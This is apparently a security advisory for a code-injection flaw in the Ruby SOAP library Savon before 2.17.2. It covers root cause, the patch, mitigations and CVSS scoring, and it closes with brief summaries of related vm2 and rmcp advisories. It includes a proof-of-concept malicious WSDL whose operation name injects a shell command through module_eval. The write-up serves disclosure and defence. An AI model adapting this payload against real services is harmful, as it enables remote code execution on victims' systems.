Aug 1, 2026·6 min read·87 visits
Unsanitized WSDL operation names are interpolated directly into double-quoted strings within module_eval in Savon < 2.17.2. This enables remote code execution when parsing a malicious or compromised WSDL document.
A critical code injection vulnerability exists in Savon, a widely used SOAP client library for Ruby, prior to version 2.17.2. The vulnerability resides within the Savon::Model.all_operations module, where operation names fetched from a target Web Services Description Language (WSDL) document are dynamically evaluated via module_eval without sanitization. An attacker capable of manipulating the target WSDL document (e.g., through Man-in-the-Middle attacks, DNS hijacking, or Server-Side Request Forgery) can execute arbitrary Ruby code in the context of the parent application process.
Savon is an open-source SOAP client library for the Ruby programming language. The Savon::Model module provides a declarative DSL (Domain Specific Language) to map SOAP operations directly to Ruby class and instance methods. This mapping is handled automatically by the all_operations class method, which dynamically parses a remote or local WSDL document using the Wasabi library and defines corresponding helper methods.
The attack surface exists in the interface between the parsed WSDL definitions and the Ruby execution environment. The library dynamically generates method bindings by translating SOAP operation tags into Ruby identifiers. Because the translation pipeline accepts metadata fields from external documents without validation, an application that points Savon to an untrusted or interceptable WSDL endpoint exposes itself to code injection.
The vulnerability is classified under CWE-94 (Improper Control of Generation of Code). The impact of this vulnerability is severe, as successful exploitation results in unauthenticated, remote execution of arbitrary commands or scripting code under the permissions of the application worker process.
The root cause of this vulnerability lies in the implementation of the define_class_operation and define_instance_operation helper methods within the Savon::Model class. When Savon maps SOAP operations, it retrieves a collection of operation names as strings from the parsed WSDL. To dynamically establish helper methods for these operations, the library utilizes the module_eval meta-programming method.
Inside the vulnerable versions of lib/savon/model.rb, the dynamic method definitions were constructed by interpolating the snakecased operation names into double-quoted string templates. This template string was then compiled and executed by the Ruby interpreter. Because double-quoted strings inside a module_eval block are evaluated dynamically, any embedded interpolation or line terminators within the string literal are parsed as active Ruby syntax.
def define_class_operation(operation)
class_operation_module.module_eval %{
def #{StringUtils.snakecase(operation.to_s)}(locals = {})
client.call #{operation.inspect}, locals
end
}, __FILE__, __LINE__ - 4
endIf an operation name contains a newline sequence followed by valid Ruby syntax, the parser interprets the newline as a statement separator. The Ruby compiler executes the injected statements before defining any remaining, dummy structures required to avoid compile-time syntax errors. Consequently, the input string breaks out of the method definition context and executes arbitrary code directly during class evaluation.
In versions prior to 2.17.2, the code generation path in lib/savon/model.rb relied entirely on evaluating string literals. The following block contrasts the vulnerable implementation with the secure remediation implemented in the official patch.
# VULNERABLE CODE PATH (Savon < 2.17.2)
def define_class_operation(operation)
class_operation_module.module_eval %{
def #{StringUtils.snakecase(operation.to_s)}(locals = {})
client.call #{operation.inspect}, locals
end
}, __FILE__, __LINE__ - 4
end# PATCHED CODE PATH (Savon >= 2.17.2)
def define_class_operation(operation)
method_name = operation_method_name(operation)
class_operation_module.define_method(method_name) do |locals = {}|
client.call operation, locals
end
end
def operation_method_name(operation)
StringUtils.snakecase(operation.to_s).to_sym
endThe patch eliminates the module_eval compilation phase entirely. By replacing raw string generation with Module#define_method, the runtime treats the generated method name strictly as a Symbol and binds the body within a standard Ruby block closure. This architectural shift ensures that the operation name is processed purely as a data identifier rather than executable instructions, neutralising any embedded injection vectors.
Exploitation requires that an attacker can control the contents of the WSDL file parsed by the Savon client. This condition is met when the target application processes dynamic user-provided WSDL URLs, communicates with an upstream provider over unencrypted HTTP, or is susceptible to local file write vulnerabilities.
An attacker constructs a malicious WSDL containing a crafted operation name. By using the XML numeric entity to represent a newline inside the name attribute, the attacker escapes the method signature layout. The payload below demonstrates this technique:
<?xml version="1.0"?>
<wsdl:definitions xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
name="ExploitService" targetNamespace="urn:exploit">
<wsdl:binding name="ExploitBinding" type="wsdl:ExploitPort">
<soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
<wsdl:operation name="foo end `touch /tmp/pwned_savon_model` def x">
<soap:operation soapAction="urn:exploit#foo"/>
</wsdl:operation>
</wsdl:binding>
</wsdl:definitions>When the victim application initializes the dynamic integrations by calling all_operations, the operation name is converted and executed. The resulting evaluated code maps directly to this structure:
def foo
end
`touch /tmp/pwned_savon_model`
def x(locals = {})
client.call "foo\nend\n`touch /tmp/pwned_savon_model`\ndef x", locals
endThe subshell execution `touch /tmp/pwned_savon_model` runs under the privileges of the active Ruby process immediately upon parsing.
The CVSS Base Score is evaluated at 8.1 (High) with the vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H. Although the vulnerability allows remote code execution without privileges or user interaction, the Attack Complexity is classified as High. An attacker must manipulate or intercept the WSDL transmission channel to feed the malicious definitions to the parser.
If the application process is running with root or administrative privileges, successful exploitation gives the attacker complete system compromise. This includes the ability to read sensitive environment variables, extract database credentials, modify application files, or pivot to internal network infrastructure.
Even in environments where network access is restricted, local file inclusion (LFI) or server-side parameter control could allow an attacker to direct Savon to parse a local, malicious file, resulting in local privilege escalation or container escape if host directories are poorly isolated.
To fully remediate CVE-2026-53510, software developers must upgrade the Savon gem to version 2.17.2 or later. This version replaces module_eval with safe define_method calls.
In scenarios where an immediate library upgrade is not possible, developers should avoid using the dynamic Savon::Model.all_operations initializer. Instead, configure Savon::Model by hardcoding trusted operation names using the explicit operations class method. This approach ensures that dynamic mapping logic is bypassed completely.
# SAFE COMPROMISE WORKAROUND
class SecureSoapService
extend Savon::Model
client wsdl: "http://example.com/untrusted.wsdl"
# Manually list safe operations, preventing automated evaluation
operations :get_user_profile, :update_user_profile
endAdditionally, applications fetching WSDLs from remote endpoints must enforce strict TLS peer verification. Do not disable SSL verification in the Savon client configuration, and avoid using insecure HTTP URLs to ingest dynamic integration configurations.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
savon savonrb | >= 0.9.8, < 2.17.2 | 2.17.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-94: Improper Control of Generation of Code ('Code Injection') |
| Attack Vector | Network (with High Complexity) |
| CVSS v3.1 Score | 8.1 |
| Exploit Status | Proof of Concept (PoC) documented in test suite |
| CISA KEV Status | Not listed |
| Remediation Status | Patched in Version 2.17.2 |
The product generates code or parses code using unsanitized inputs from upstream sources, allowing an attacker to inject arbitrary commands or scripts.
A Server-Side Request Forgery (SSRF) vulnerability exists in the rmcp OAuth client, which is part of the Model Context Protocol (MCP) Rust SDK. The vulnerability arises from insecure processing of the resource_metadata parameter in WWW-Authenticate headers returned by a malicious or compromised MCP server. The client parses and fetches absolute URLs from this header without validation of scheme, origin, or network routing, allowing remote attackers to initiate HTTP GET requests to local network interfaces, RFC 1918 private subnets, or cloud metadata endpoints.
A module allowlist bypass vulnerability (CVE-2026-92945 / GHSA-7q3f-wx44-378m) was identified in the vm2 sandboxing library prior to version 3.11.7. This flaw permits unauthenticated or untrusted code running within the sandbox environment to bypass explicit module restrictions. When the transitive resolution option is disabled, the system fails to validate file system path boundaries, allowing prefix-sharing sibling directories to be resolved and loaded, thereby escaping intended sandbox restrictions.
CVE-2026-92941 is a critical sandbox-escape and trust-manipulation vulnerability in the vm2 library (versions 3.11.3 to 3.11.6). This security flaw allows untrusted code executing within a NodeVM sandbox environment to compromise the global TLS trust store of the host Node.js process. By leveraging a design flaw where the host's native 'tls.setDefaultCACertificates' can be executed via a proxy wrapper, combined with a bridge unwrapping bypass in the 'url' module, an attacker can modify the process-wide default root Certificate Authorities. Consequently, all subsequent outbound TLS/HTTPS clients running on the host thread are forced to trust attacker-signed certificates, facilitating transparent Man-in-the-Middle (MitM) attacks. The vulnerability was resolved in version 3.11.7 of vm2 by introducing built-in member-level sanitization before applying read-only proxy wrappers.
A critical engine-level reachability failure in Node.js 26 running V8 14.6 allows attackers to escape the vm2 sandbox environment. When consecutive prototype properties are modified using sequential assignments, a V8 optimization bug fails to invalidate the PromiseThenLookupChain protector. By calling Promise.prototype.finally, the attacker bypasses the vm2 wrappers, hijacks the promise reaction using a custom constructor, triggers a calibrated stack overflow to capture a host-realm RangeError, and executes arbitrary shell commands on the host.
A critical sandbox escape vulnerability in the vm2 library allows sandboxed JavaScript code to bypass containment and execute arbitrary native code on the host process. This occurs when the host's builtin crypto module is exposed to the NodeVM environment. Although vm2 implements a read-only proxy layer to restrict direct modifications to host properties, it does not prevent invocation of host-level functions. By calling the crypto.setEngine API with a path to a malicious native library on disk, an attacker can trigger OpenSSL's dynamic module loader. The host's operating system loader immediately runs the dynamic library's initializers/constructors before verifying engine compatibility, leading to remote code execution in the context of the host process.
CVE-2026-92938 is a critical sandbox escape vulnerability in the vm2 library (versions 3.11.3 through 3.11.6) that allows arbitrary native code execution on the host when the node:sqlite built-in module is loaded inside a sandboxed NodeVM environment.